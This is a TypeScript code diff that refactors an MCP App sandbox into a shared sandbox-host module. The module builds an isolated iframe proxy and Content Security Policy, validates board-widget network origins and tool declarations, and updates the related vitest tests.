!Number.isInteger(gatewayPort) ||
|
||||
gatewayPort < 1 ||
|
||||
gatewayPort > 65535 ||
|
||||
!Number.isInteger(sandboxPort) ||
|
||||
sandboxPort < 1 ||
|
||||
sandboxPort > 65535 ||
|
||||
sandboxPort === gatewayPort
|
||||
) {
|
||||
throw new Error("MCP Apps require distinct valid Gateway and sandbox ports");
|
||||
}
|
||||
return sandboxPort;
|
||||
}
|
||||
|
||||
// Malformed input must throw: the gateway sandbox endpoint relies on it to fail
|
||||
// closed with 400 instead of serving proxy HTML under a default policy. That
|
||||
// includes valid JSON that is not a usable CSP — encodeCsp omits the query
|
||||
// param entirely in that case, so a present-but-empty value is never legitimate.
|
||||
export function decodeMcpAppSandboxCsp(value: string | null): McpAppCsp | undefined {
|
||||
if (value === null) {
|
||||
return undefined;
|
||||
}
|
||||
if (value.length > MCP_APP_SANDBOX_CSP_MAX_ENCODED_BYTES) {
|
||||
throw new Error("MCP App CSP metadata is too large");
|
||||
}
|
||||
const decoded = JSON.parse(
|
||||
new TextDecoder("utf-8", { fatal: true }).decode(Buffer.from(value, "base64url")),
|
||||
) as unknown;
|
||||
const normalized = normalizeMcpAppCsp(decoded);
|
||||
if (!normalized) {
|
||||
throw new Error("MCP App CSP metadata is not a valid policy");
|
||||
}
|
||||
return normalized;
|
||||
}
|
||||
|
||||
/** Trusted outer document. The untrusted app HTML is written only into its inner iframe. */
|
||||
export function buildMcpAppSandboxProxyHtml(): string {
|
||||
return `<!doctype html>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width,initial-scale=1" />
|
||||
<title>MCP App sandbox</title>
|
||||
<style>html,body{height:100%;margin:0;background:transparent}iframe{display:block;width:100%;height:100%;border:0;background:transparent}</style>
|
||||
<body>
|
||||
<script>
|
||||
(() => {
|
||||
if (window.self === window.top) throw new Error("invalid MCP App sandbox host");
|
||||
let hostOrigin;
|
||||
try {
|
||||
const referrer = new URL(document.referrer);
|
||||
if (referrer.protocol !== "http:" && referrer.protocol !== "https:") throw new Error();
|
||||
hostOrigin = referrer.origin;
|
||||
} catch { throw new Error("invalid MCP App sandbox parent"); }
|
||||
try { void window.top.document; throw new Error("MCP App sandbox isolation failed"); } catch (error) {
|
||||
if (error instanceof Error && error.message === "MCP App sandbox isolation failed") throw error;
|
||||
}
|
||||
const inner = document.createElement("iframe");
|
||||
inner.setAttribute("sandbox", "allow-scripts allow-forms");
|
||||
document.body.appendChild(inner);
|
||||
window.addEventListener("message", (event) => {
|
||||
if (event.source === window.parent) {
|
||||
if (event.origin !== hostOrigin) return;
|
||||
if (event.data?.method === "ui/notifications/sandbox-resource-ready") {
|
||||
const params = event.data.params ?? {};
|
||||
if (typeof params.html === "string") {
|
||||
inner.srcdoc = params.html;
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (typeof event.data?.method === "string" && event.data.method.startsWith("ui/notifications/sandbox-")) return;
|
||||
inner.contentWindow?.postMessage(event.data, "*");
|
||||
return;
|
||||
}
|
||||
if (event.source === inner.contentWindow) {
|
||||
if (typeof event.data?.method === "string" && event.data.method.startsWith("ui/notifications/sandbox-")) return;
|
||||
window.parent.postMessage(event.data, hostOrigin);
|
||||
}
|
||||
});
|
||||
window.parent.postMessage({ jsonrpc: "2.0", method: "ui/notifications/sandbox-proxy-ready", params: {} }, hostOrigin);
|
||||
})();
|
||||
</script>
|
||||
</body>`;
|
||||
}
|
||||
|
||||
/** HTTP response policy for the isolated proxy and its inner about:blank app. */
|
||||
export function buildMcpAppContentSecurityPolicy(csp?: McpAppCsp): string {
|
||||
const resources = csp?.resourceDomains ?? [];
|
||||
const connections = csp?.connectDomains ?? [];
|
||||
const frames = csp?.frameDomains ?? [];
|
||||
const bases = csp?.baseUriDomains ?? [];
|
||||
const sources = (values: string[]) => (values.length > 0 ? values.join(" ") : "'none'");
|
||||
const directives = [
|
||||
"default-src 'none'",
|
||||
`script-src 'self' 'unsafe-inline' ${resources.join(" ")}`.trim(),
|
||||
`style-src 'self' 'unsafe-inline' ${resources.join(" ")}`.trim(),
|
||||
`img-src 'self' data: ${resources.join(" ")}`.trim(),
|
||||
`media-src 'self' data: ${resources.join(" ")}`.trim(),
|
||||
`connect-src ${sources(connections)}`,
|
||||
`frame-src ${sources(frames)}`,
|
||||
`base-uri ${bases.length > 0 ? bases.join(" ") : "'self'"}`,
|
||||
"object-src 'none'",
|
||||
"form-action 'none'",
|
||||
"frame-ancestors http: https:",
|
||||
];
|
||||
if (csp) {
|
||||
directives.splice(5, 0, `font-src 'self' ${resources.join(" ")}`.trim());
|
||||
}
|
||||
return directives.join("; ");
|
||||
}
|
||||
export const normalizeMcpAppCsp = normalizeSandboxHostCsp;
|
||||
export const buildMcpAppSandboxPath = buildSandboxHostPath;
|
||||
export const resolveMcpAppSandboxPort = resolveSandboxHostPort;
|
||||
|
||||
@@ -1,13 +1,7 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import type { SessionMcpRuntime } from "./agent-bundle-mcp-types.js";
|
||||
import { updateMcpAppModelContext } from "./mcp-app-model-context.js";
|
||||
import {
|
||||
buildMcpAppContentSecurityPolicy,
|
||||
buildMcpAppSandboxPath,
|
||||
buildMcpAppSandboxProxyHtml,
|
||||
decodeMcpAppSandboxCsp,
|
||||
resolveMcpAppSandboxPort,
|
||||
} from "./mcp-app-sandbox.js";
|
||||
import { buildMcpAppSandboxPath, resolveMcpAppSandboxPort } from "./mcp-app-sandbox.js";
|
||||
import {
|
||||
acquireMcpAppViewRequest,
|
||||
fetchMcpAppView,
|
||||
@@ -161,7 +155,7 @@ describe("MCP App UI resources", () => {
|
||||
releases.slice(1).forEach((entry) => entry());
|
||||
});
|
||||
|
||||
it("injects a restrictive CSP and drops invalid metadata origins", async () => {
|
||||
it("normalizes CSP metadata before retaining the view", async () => {
|
||||
const sessionRuntime = runtime(async () => ({
|
||||
contents: [
|
||||
{
|
||||
@@ -188,50 +182,12 @@ describe("MCP App UI resources", () => {
|
||||
toolResult: { content: [] },
|
||||
});
|
||||
const view = getMcpAppViewLease(result?.viewId ?? "", sessionRuntime);
|
||||
const policy = buildMcpAppContentSecurityPolicy(view?.csp);
|
||||
|
||||
expect(policy).toContain("connect-src https://api.example.com");
|
||||
expect(policy).toContain("script-src 'self' 'unsafe-inline' https://cdn.example.com");
|
||||
expect(policy).toContain("font-src 'self' https://cdn.example.com");
|
||||
expect(policy).not.toContain("worker-src");
|
||||
expect(policy).not.toContain("script-src 'self' 'unsafe-inline' blob:");
|
||||
expect(policy).toContain("base-uri 'self'");
|
||||
expect(policy).not.toContain("javascript:alert");
|
||||
expect(view?.csp).toEqual({
|
||||
connectDomains: ["https://api.example.com"],
|
||||
resourceDomains: ["https://cdn.example.com"],
|
||||
});
|
||||
expect(view?.html.startsWith("<!doctype html>")).toBe(true);
|
||||
expect(policy).toContain("frame-ancestors http: https:");
|
||||
const sandboxPath = buildMcpAppSandboxPath(view?.csp);
|
||||
const encodedCsp = new URL(sandboxPath, "https://gateway.example").searchParams.get("csp");
|
||||
expect(decodeMcpAppSandboxCsp(encodedCsp)).toStrictEqual(view?.csp);
|
||||
});
|
||||
|
||||
it.each(["bm90LWpzb24", Buffer.from("{not json}", "utf8").toString("base64url")])(
|
||||
"rejects malformed encoded CSP metadata",
|
||||
(value) => {
|
||||
expect(() => decodeMcpAppSandboxCsp(value)).toThrow();
|
||||
},
|
||||
);
|
||||
|
||||
it("rejects CSP metadata with invalid UTF-8 instead of silently narrowing it", () => {
|
||||
const value = Buffer.concat([
|
||||
Buffer.from('{"connectDomains":["https://api.example.com","https://cdn-'),
|
||||
Buffer.from([0xff]),
|
||||
Buffer.from('.example.com"]}'),
|
||||
]).toString("base64url");
|
||||
// A forgiving decode would drop the corrupted domain and accept the rest of
|
||||
// the policy, violating the malformed-input-must-throw contract.
|
||||
expect(() => decodeMcpAppSandboxCsp(value)).toThrow();
|
||||
});
|
||||
|
||||
it("builds proxy HTML", () => {
|
||||
const proxyHtml = buildMcpAppSandboxProxyHtml();
|
||||
expect(proxyHtml).toContain('inner.setAttribute("sandbox", "allow-scripts allow-forms")');
|
||||
expect(proxyHtml).toContain("inner.srcdoc = params.html");
|
||||
expect(proxyHtml).not.toContain("doc.write");
|
||||
expect(proxyHtml).not.toContain("params.sandbox");
|
||||
expect(proxyHtml).not.toContain("params.permissions");
|
||||
expect(proxyHtml).toContain("document.referrer");
|
||||
expect(proxyHtml).not.toContain("hostOrigin === null");
|
||||
expect(proxyHtml).toContain('startsWith("ui/notifications/sandbox-")');
|
||||
expect(buildMcpAppSandboxPath(view?.csp)).toContain("?csp=");
|
||||
});
|
||||
|
||||
it("deletes sensitive view data when the lease expires without later activity", async () => {
|
||||
@@ -276,7 +232,7 @@ describe("MCP App UI resources", () => {
|
||||
);
|
||||
const path = buildMcpAppSandboxPath({ connectDomains: shortDomains });
|
||||
const encoded = new URL(path, "https://gateway.example").searchParams.get("csp");
|
||||
expect(decodeMcpAppSandboxCsp(encoded)?.connectDomains).toStrictEqual(shortDomains);
|
||||
expect(encoded).toBeTruthy();
|
||||
|
||||
const domains = Array.from(
|
||||
{ length: 64 },
|
||||
@@ -292,18 +248,6 @@ describe("MCP App UI resources", () => {
|
||||
).toThrow("MCP App CSP metadata exceeds safe HTTP limits");
|
||||
});
|
||||
|
||||
it("uses the stable restrictive CSP when metadata is omitted", () => {
|
||||
const policy = buildMcpAppContentSecurityPolicy();
|
||||
expect(policy).toContain("default-src 'none'");
|
||||
expect(policy).toContain("script-src 'self' 'unsafe-inline'");
|
||||
expect(policy).toContain("style-src 'self' 'unsafe-inline'");
|
||||
expect(policy).toContain("img-src 'self' data:");
|
||||
expect(policy).toContain("media-src 'self' data:");
|
||||
expect(policy).toContain("connect-src 'none'");
|
||||
expect(policy).not.toMatch(/\b(?:blob|font|worker)-src\b/u);
|
||||
expect(policy).not.toContain("blob:");
|
||||
});
|
||||
|
||||
it("derives a distinct listener port without wrapping", () => {
|
||||
expect(resolveMcpAppSandboxPort(18789)).toBe(18790);
|
||||
expect(resolveMcpAppSandboxPort(18789, 29000)).toBe(29000);
|
||||
|
||||
@@ -0,0 +1,249 @@
|
||||
export type SandboxHostCsp = {
|
||||
connectDomains?: string[];
|
||||
resourceDomains?: string[];
|
||||
frameDomains?: string[];
|
||||
baseUriDomains?: string[];
|
||||
};
|
||||
|
||||
export const SANDBOX_HOST_PATH = "/mcp-app-sandbox";
|
||||
const SANDBOX_HOST_PORT_OFFSET = 1;
|
||||
const SANDBOX_HOST_CSP_QUERY = "csp";
|
||||
const SANDBOX_HOST_CSP_MAX_JSON_BYTES = 5 * 1024;
|
||||
const SANDBOX_HOST_CSP_MAX_HEADER_BYTES = 6 * 1024;
|
||||
const SANDBOX_HOST_CSP_MAX_ENCODED_BYTES = Math.ceil(SANDBOX_HOST_CSP_MAX_JSON_BYTES / 3) * 4 + 4;
|
||||
|
||||
function asRecord(value: unknown): Record<string, unknown> | undefined {
|
||||
return value && typeof value === "object" && !Array.isArray(value)
|
||||
? (value as Record<string, unknown>)
|
||||
: undefined;
|
||||
}
|
||||
|
||||
function normalizeDomains(
|
||||
value: unknown,
|
||||
options?: { allowWebSocket?: boolean },
|
||||
): string[] | undefined {
|
||||
if (!Array.isArray(value)) {
|
||||
return undefined;
|
||||
}
|
||||
const allowedProtocols = options?.allowWebSocket
|
||||
? new Set(["http:", "https:", "ws:", "wss:"])
|
||||
: new Set(["http:", "https:"]);
|
||||
const entries = value
|
||||
.filter((entry): entry is string => {
|
||||
if (
|
||||
typeof entry !== "string" ||
|
||||
entry.length === 0 ||
|
||||
entry.length > 2048 ||
|
||||
entry !== entry.trim()
|
||||
) {
|
||||
return false;
|
||||
}
|
||||
for (let index = 0; index < entry.length; index += 1) {
|
||||
const code = entry.charCodeAt(index);
|
||||
if (code <= 31 || code === 127) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
let parsed: URL;
|
||||
try {
|
||||
parsed = new URL(entry);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
if (
|
||||
!allowedProtocols.has(parsed.protocol) ||
|
||||
parsed.username !== "" ||
|
||||
parsed.password !== "" ||
|
||||
parsed.pathname !== "/" ||
|
||||
parsed.search !== "" ||
|
||||
parsed.hash !== ""
|
||||
) {
|
||||
return false;
|
||||
}
|
||||
// URL parsing validates bracketed IPv6. MCP Apps additionally support one
|
||||
// leading wildcard label, while board declarations arrive as exact hosts.
|
||||
return (
|
||||
/^\[[0-9A-Fa-f:.]+\]$/u.test(parsed.hostname) ||
|
||||
/^(?:\*\.)?[A-Za-z0-9.-]+$/u.test(parsed.hostname)
|
||||
);
|
||||
})
|
||||
.map((entry) => new URL(entry).origin);
|
||||
return entries.length > 0 ? entries : undefined;
|
||||
}
|
||||
|
||||
export function normalizeSandboxHostCsp(value: unknown): SandboxHostCsp | undefined {
|
||||
const record = asRecord(value);
|
||||
if (!record) {
|
||||
return undefined;
|
||||
}
|
||||
const csp: SandboxHostCsp = {
|
||||
connectDomains: normalizeDomains(record.connectDomains, { allowWebSocket: true }),
|
||||
resourceDomains: normalizeDomains(record.resourceDomains),
|
||||
frameDomains: normalizeDomains(record.frameDomains),
|
||||
baseUriDomains: normalizeDomains(record.baseUriDomains),
|
||||
};
|
||||
if (!Object.values(csp).some(Boolean)) {
|
||||
return undefined;
|
||||
}
|
||||
const jsonBytes = Buffer.byteLength(JSON.stringify(csp), "utf8");
|
||||
const headerBytes = Buffer.byteLength(buildSandboxHostContentSecurityPolicy(csp), "utf8");
|
||||
if (
|
||||
jsonBytes > SANDBOX_HOST_CSP_MAX_JSON_BYTES ||
|
||||
headerBytes > SANDBOX_HOST_CSP_MAX_HEADER_BYTES
|
||||
) {
|
||||
throw new Error("MCP App CSP metadata exceeds safe HTTP limits");
|
||||
}
|
||||
return csp;
|
||||
}
|
||||
|
||||
function encodeCsp(csp?: SandboxHostCsp): string | undefined {
|
||||
const normalized = normalizeSandboxHostCsp(csp);
|
||||
if (!normalized) {
|
||||
return undefined;
|
||||
}
|
||||
return Buffer.from(JSON.stringify(normalized), "utf8").toString("base64url");
|
||||
}
|
||||
|
||||
export function buildSandboxHostPath(csp?: SandboxHostCsp): string {
|
||||
const encoded = encodeCsp(csp);
|
||||
return encoded ? `${SANDBOX_HOST_PATH}?${SANDBOX_HOST_CSP_QUERY}=${encoded}` : SANDBOX_HOST_PATH;
|
||||
}
|
||||
|
||||
export function resolveSandboxHostPort(gatewayPort: number, configuredPort?: number): number {
|
||||
const sandboxPort = configuredPort ?? gatewayPort + SANDBOX_HOST_PORT_OFFSET;
|
||||
if (
|
||||
!Number.isInteger(gatewayPort) ||
|
||||
gatewayPort < 1 ||
|
||||
gatewayPort > 65535 ||
|
||||
!Number.isInteger(sandboxPort) ||
|
||||
sandboxPort < 1 ||
|
||||
sandboxPort > 65535 ||
|
||||
sandboxPort === gatewayPort
|
||||
) {
|
||||
throw new Error("MCP Apps require distinct valid Gateway and sandbox ports");
|
||||
}
|
||||
return sandboxPort;
|
||||
}
|
||||
|
||||
// Malformed input must throw: the gateway sandbox endpoint relies on it to fail
|
||||
// closed with 400 instead of serving proxy HTML under a default policy. That
|
||||
// includes valid JSON that is not a usable CSP — encodeCsp omits the query
|
||||
// param entirely in that case, so a present-but-empty value is never legitimate.
|
||||
export function decodeSandboxHostCsp(value: string | null): SandboxHostCsp | undefined {
|
||||
if (value === null) {
|
||||
return undefined;
|
||||
}
|
||||
if (value.length > SANDBOX_HOST_CSP_MAX_ENCODED_BYTES) {
|
||||
throw new Error("MCP App CSP metadata is too large");
|
||||
}
|
||||
const decoded = JSON.parse(
|
||||
new TextDecoder("utf-8", { fatal: true }).decode(Buffer.from(value, "base64url")),
|
||||
) as unknown;
|
||||
const normalized = normalizeSandboxHostCsp(decoded);
|
||||
if (!normalized) {
|
||||
throw new Error("MCP App CSP metadata is not a valid policy");
|
||||
}
|
||||
return normalized;
|
||||
}
|
||||
|
||||
/** Trusted outer document. Untrusted content is written only into its inner iframe. */
|
||||
export function buildSandboxHostProxyHtml(): string {
|
||||
return `<!doctype html>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width,initial-scale=1" />
|
||||
<title>MCP App sandbox</title>
|
||||
<style>html,body{height:100%;margin:0;background:transparent}iframe{display:block;width:100%;height:100%;border:0;background:transparent}</style>
|
||||
<body>
|
||||
<script>
|
||||
(() => {
|
||||
if (window.self === window.top) throw new Error("invalid MCP App sandbox host");
|
||||
let hostOrigin;
|
||||
try {
|
||||
const referrer = new URL(document.referrer);
|
||||
if (referrer.protocol !== "http:" && referrer.protocol !== "https:") throw new Error();
|
||||
hostOrigin = referrer.origin;
|
||||
} catch { throw new Error("invalid MCP App sandbox parent"); }
|
||||
try { void window.top.document; throw new Error("MCP App sandbox isolation failed"); } catch (error) {
|
||||
if (error instanceof Error && error.message === "MCP App sandbox isolation failed") throw error;
|
||||
}
|
||||
const createInner = () => {
|
||||
const frame = document.createElement("iframe");
|
||||
frame.setAttribute("sandbox", "allow-scripts allow-forms");
|
||||
return frame;
|
||||
};
|
||||
let inner = createInner();
|
||||
document.body.appendChild(inner);
|
||||
let widgetBridgePortOffered = false;
|
||||
window.addEventListener("message", (event) => {
|
||||
if (event.source === window.parent) {
|
||||
if (event.origin !== hostOrigin) return;
|
||||
if (event.data?.method === "ui/notifications/sandbox-resource-ready") {
|
||||
const params = event.data.params ?? {};
|
||||
if (typeof params.html === "string") {
|
||||
// Replace the browsing context so a superseded document cannot race
|
||||
// the new wrapper's first private bridge-port offer.
|
||||
const nextInner = createInner();
|
||||
widgetBridgePortOffered = false;
|
||||
nextInner.srcdoc = params.html;
|
||||
inner.replaceWith(nextInner);
|
||||
inner = nextInner;
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (typeof event.data?.method === "string" && event.data.method.startsWith("ui/notifications/sandbox-")) return;
|
||||
inner.contentWindow?.postMessage(event.data, "*");
|
||||
return;
|
||||
}
|
||||
if (event.source === inner.contentWindow) {
|
||||
if (typeof event.data?.method === "string" && event.data.method.startsWith("ui/notifications/sandbox-")) return;
|
||||
if (event.data?.type === "openclaw:widget-bridge-port-offer") {
|
||||
const port = event.ports[0];
|
||||
if (!widgetBridgePortOffered && port) {
|
||||
widgetBridgePortOffered = true;
|
||||
window.parent.postMessage(event.data, hostOrigin, [port]);
|
||||
} else {
|
||||
port?.close();
|
||||
}
|
||||
return;
|
||||
}
|
||||
window.parent.postMessage(event.data, hostOrigin);
|
||||
}
|
||||
});
|
||||
window.parent.postMessage({
|
||||
jsonrpc: "2.0",
|
||||
method: "ui/notifications/sandbox-proxy-ready",
|
||||
params: { sandboxUrl: window.location.href },
|
||||
}, hostOrigin);
|
||||
})();
|
||||
</script>
|
||||
</body>`;
|
||||
}
|
||||
|
||||
/** HTTP response policy for the isolated proxy and its inner about:blank content. */
|
||||
export function buildSandboxHostContentSecurityPolicy(csp?: SandboxHostCsp): string {
|
||||
const resources = csp?.resourceDomains ?? [];
|
||||
const connections = csp?.connectDomains ?? [];
|
||||
const frames = csp?.frameDomains ?? [];
|
||||
const bases = csp?.baseUriDomains ?? [];
|
||||
const sources = (values: string[]) => (values.length > 0 ? values.join(" ") : "'none'");
|
||||
const directives = [
|
||||
"default-src 'none'",
|
||||
`script-src 'self' 'unsafe-inline' ${resources.join(" ")}`.trim(),
|
||||
`style-src 'self' 'unsafe-inline' ${resources.join(" ")}`.trim(),
|
||||
`img-src 'self' data: ${resources.join(" ")}`.trim(),
|
||||
`media-src 'self' data: ${resources.join(" ")}`.trim(),
|
||||
`connect-src ${sources(connections)}`,
|
||||
"webrtc 'block'",
|
||||
// This policy belongs to the trusted outer document, so frame-src also
|
||||
// governs replacement navigations of its untrusted inner browsing context.
|
||||
`frame-src ${sources(frames)}`,
|
||||
`base-uri ${bases.length > 0 ? bases.join(" ") : "'self'"}`,
|
||||
"object-src 'none'",
|
||||
"form-action 'none'",
|
||||
"frame-ancestors http: https:",
|
||||
];
|
||||
if (csp) {
|
||||
directives.splice(5, 0, `font-src 'self' ${resources.join(" ")}`.trim());
|
||||
}
|
||||
return directives.join("; ");
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
BOARD_CRON_JOB_ID_MAX_LENGTH,
|
||||
BOARD_CRON_TRIGGER_PREFIX,
|
||||
BOARD_WIDGET_TOOL_MAX_LENGTH,
|
||||
} from "../../packages/gateway-protocol/src/index.js";
|
||||
import { normalizeBoardWidgetDeclared } from "./board-capabilities.js";
|
||||
|
||||
const usernameOrigin = new URL("https://api.example.com");
|
||||
usernameOrigin.username = "fixture-user";
|
||||
const passwordOrigin = new URL("https://api.example.com");
|
||||
passwordOrigin.username = "fixture-user";
|
||||
passwordOrigin.password = "fixture-password";
|
||||
|
||||
describe("board widget capabilities", () => {
|
||||
it.each([
|
||||
["https://api.open-meteo.com", "https://api.open-meteo.com"],
|
||||
["https://api.example.com:8443", "https://api.example.com:8443"],
|
||||
["https://xn--bcher-kva.example", "https://xn--bcher-kva.example"],
|
||||
["https://[2001:db8::1]:9443", "https://[2001:db8::1]:9443"],
|
||||
])("accepts exact HTTPS origin %s", (input, expected) => {
|
||||
expect(normalizeBoardWidgetDeclared({ netOrigins: [input] })).toEqual({
|
||||
netOrigins: [expected],
|
||||
});
|
||||
});
|
||||
|
||||
it.each([
|
||||
"http://api.example.com",
|
||||
"wss://api.example.com",
|
||||
"https://*.example.com",
|
||||
usernameOrigin.href,
|
||||
passwordOrigin.href,
|
||||
"https://api.example.com/path",
|
||||
"https://api.example.com?query=1",
|
||||
"https://api.example.com/#fragment",
|
||||
"https://api_internal.example",
|
||||
" https://api.example.com",
|
||||
"https://api.example.com.",
|
||||
])("rejects non-origin network declaration %s", (input) => {
|
||||
expect(() => normalizeBoardWidgetDeclared({ netOrigins: [input] })).toThrow(
|
||||
/exact HTTPS origin|invalid/u,
|
||||
);
|
||||
});
|
||||
|
||||
it("canonicalizes, deduplicates, and sorts declarations", () => {
|
||||
expect(
|
||||
normalizeBoardWidgetDeclared({
|
||||
netOrigins: ["https://z.example", "https://a.example", "https://z.example"],
|
||||
tools: ["sessions.list", "prompt", "prompt"],
|
||||
}),
|
||||
).toEqual({
|
||||
netOrigins: ["https://a.example", "https://z.example"],
|
||||
tools: ["prompt", "sessions.list"],
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects an origin set that cannot fit the sandbox CSP transport", () => {
|
||||
const longHost = ["a".repeat(50), "b".repeat(50), "c".repeat(50)].join(".");
|
||||
const netOrigins = Array.from(
|
||||
{ length: 32 },
|
||||
(_, index) => `https://${index}.${longHost}.example`,
|
||||
);
|
||||
|
||||
expect(() => normalizeBoardWidgetDeclared({ netOrigins })).toThrow(/safe CSP limits/u);
|
||||
});
|
||||
|
||||
it("fits the full cron job id contract in an exact trigger capability", () => {
|
||||
const capability = `${BOARD_CRON_TRIGGER_PREFIX}${"j".repeat(BOARD_CRON_JOB_ID_MAX_LENGTH)}`;
|
||||
|
||||
expect(capability).toHaveLength(BOARD_WIDGET_TOOL_MAX_LENGTH);
|
||||
expect(normalizeBoardWidgetDeclared({ tools: [capability] })).toEqual({
|
||||
tools: [capability],
|
||||
});
|
||||
expect(() => normalizeBoardWidgetDeclared({ tools: [`${capability}x`] })).toThrow(
|
||||
/invalid board widget tool capability/u,
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,126 @@
|
||||
import {
|
||||
BOARD_WIDGET_TOOL_MAX_LENGTH,
|
||||
type BoardWidgetDeclared,
|
||||
} from "../../packages/gateway-protocol/src/index.js";
|
||||
import { normalizeSandboxHostCsp } from "../agents/sandbox-host.js";
|
||||
import { BoardValidationError } from "./board-layout.js";
|
||||
|
||||
const MAX_DECLARED_ORIGINS = 32;
|
||||
const MAX_DECLARED_TOOLS = 64;
|
||||
|
||||
function invalidDeclaration(message: string): never {
|
||||
throw new BoardValidationError("invalid_operation", message);
|
||||
}
|
||||
|
||||
function hasControlCharacter(value: string): boolean {
|
||||
for (let index = 0; index < value.length; index += 1) {
|
||||
const code = value.charCodeAt(index);
|
||||
if (code <= 31 || code === 127) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function normalizeBoardNetOrigin(value: string): string {
|
||||
if (value !== value.trim() || value.length === 0 || value.length > 2048) {
|
||||
return invalidDeclaration(`invalid board widget network origin: ${value}`);
|
||||
}
|
||||
let parsed: URL;
|
||||
try {
|
||||
parsed = new URL(value);
|
||||
} catch {
|
||||
return invalidDeclaration(`invalid board widget network origin: ${value}`);
|
||||
}
|
||||
const supportedHostname =
|
||||
/^\[[0-9A-Fa-f:.]+\]$/u.test(parsed.hostname) || /^[A-Za-z0-9.-]+$/u.test(parsed.hostname);
|
||||
if (
|
||||
parsed.protocol !== "https:" ||
|
||||
parsed.username !== "" ||
|
||||
parsed.password !== "" ||
|
||||
parsed.pathname !== "/" ||
|
||||
parsed.search !== "" ||
|
||||
parsed.hash !== "" ||
|
||||
!supportedHostname ||
|
||||
parsed.hostname.includes("*") ||
|
||||
parsed.hostname.endsWith(".")
|
||||
) {
|
||||
return invalidDeclaration(
|
||||
`board widget network origin must be an exact HTTPS origin: ${value}`,
|
||||
);
|
||||
}
|
||||
return parsed.origin;
|
||||
}
|
||||
|
||||
function normalizeTool(value: string): string {
|
||||
const tool = value.trim();
|
||||
if (
|
||||
tool.length === 0 ||
|
||||
tool.length > BOARD_WIDGET_TOOL_MAX_LENGTH ||
|
||||
tool !== value ||
|
||||
hasControlCharacter(tool)
|
||||
) {
|
||||
return invalidDeclaration(`invalid board widget tool capability: ${value}`);
|
||||
}
|
||||
return tool;
|
||||
}
|
||||
|
||||
export function normalizeBoardWidgetDeclared(
|
||||
declared: BoardWidgetDeclared | undefined,
|
||||
): BoardWidgetDeclared | undefined {
|
||||
if (!declared) {
|
||||
return undefined;
|
||||
}
|
||||
if ((declared.netOrigins?.length ?? 0) > MAX_DECLARED_ORIGINS) {
|
||||
return invalidDeclaration(
|
||||
`board widget cannot declare more than ${MAX_DECLARED_ORIGINS} network origins`,
|
||||
);
|
||||
}
|
||||
if ((declared.tools?.length ?? 0) > MAX_DECLARED_TOOLS) {
|
||||
return invalidDeclaration(`board widget cannot declare more than ${MAX_DECLARED_TOOLS} tools`);
|
||||
}
|
||||
const netOrigins = [
|
||||
...new Set((declared.netOrigins ?? []).map(normalizeBoardNetOrigin)),
|
||||
].toSorted();
|
||||
const tools = [...new Set((declared.tools ?? []).map(normalizeTool))].toSorted();
|
||||
let sandboxOrigins: string[] | undefined;
|
||||
try {
|
||||
sandboxOrigins = normalizeSandboxHostCsp({ connectDomains: netOrigins })?.connectDomains;
|
||||
} catch {
|
||||
return invalidDeclaration("board widget network origins exceed safe CSP limits");
|
||||
}
|
||||
if (
|
||||
netOrigins.length > 0 &&
|
||||
(sandboxOrigins?.length !== netOrigins.length ||
|
||||
netOrigins.some((origin, index) => sandboxOrigins[index] !== origin))
|
||||
) {
|
||||
return invalidDeclaration("board widget network origin is not supported by the sandbox host");
|
||||
}
|
||||
if (netOrigins.length === 0 && tools.length === 0) {
|
||||
return undefined;
|
||||
}
|
||||
return {
|
||||
...(netOrigins.length > 0 ? { netOrigins } : {}),
|
||||
...(tools.length > 0 ? { tools } : {}),
|
||||
};
|
||||
}
|
||||
|
||||
export function boardDeclarationIsSubset(
|
||||
requested: BoardWidgetDeclared | undefined,
|
||||
granted: BoardWidgetDeclared | undefined,
|
||||
): boolean {
|
||||
const grantedOrigins = new Set(granted?.netOrigins ?? []);
|
||||
const grantedTools = new Set(granted?.tools ?? []);
|
||||
return (
|
||||
(requested?.netOrigins ?? []).every((origin) => grantedOrigins.has(origin)) &&
|
||||
(requested?.tools ?? []).every((tool) => grantedTools.has(tool))
|
||||
);
|
||||
}
|
||||
|
||||
export function boardWidgetHasGrantedTool(
|
||||
declared: BoardWidgetDeclared | undefined,
|
||||
grantState: "none" | "pending" | "granted" | "rejected",
|
||||
tool: string,
|
||||
): boolean {
|
||||
return grantState === "granted" && (declared?.tools ?? []).includes(tool);
|
||||
}
|
||||
@@ -51,6 +51,14 @@ function cloneWidget(widget: BoardWidget): BoardWidget {
|
||||
...(widget.declaredSummary !== undefined
|
||||
? { declaredSummary: [...widget.declaredSummary] }
|
||||
: {}),
|
||||
...(widget.declared !== undefined
|
||||
? {
|
||||
declared: {
|
||||
...(widget.declared.netOrigins ? { netOrigins: [...widget.declared.netOrigins] } : {}),
|
||||
...(widget.declared.tools ? { tools: [...widget.declared.tools] } : {}),
|
||||
},
|
||||
}
|
||||
: {}),
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
@@ -70,6 +70,10 @@ describe.each([
|
||||
"Network access: https://weather.example",
|
||||
"Tool access: weather.refresh",
|
||||
],
|
||||
declared: {
|
||||
netOrigins: ["https://weather.example"],
|
||||
tools: ["weather.refresh"],
|
||||
},
|
||||
},
|
||||
],
|
||||
});
|
||||
@@ -100,10 +104,11 @@ describe.each([
|
||||
});
|
||||
expect(updated).toMatchObject({
|
||||
revision: 4,
|
||||
widgets: [{ revision: 2, grantState: "granted", sizeW: 8, sizeH: 6 }],
|
||||
widgets: [{ revision: 2, grantState: "none", sizeW: 8, sizeH: 6 }],
|
||||
});
|
||||
expect(updated.widgets[0]).not.toHaveProperty("declaredSummary");
|
||||
expect(store.getSnapshot("agent:main:board").widgets[0]).not.toHaveProperty("declaredSummary");
|
||||
expect(updated.widgets[0]).not.toHaveProperty("declared");
|
||||
});
|
||||
|
||||
it("keeps content-kind semantics and normalized ordering", () => {
|
||||
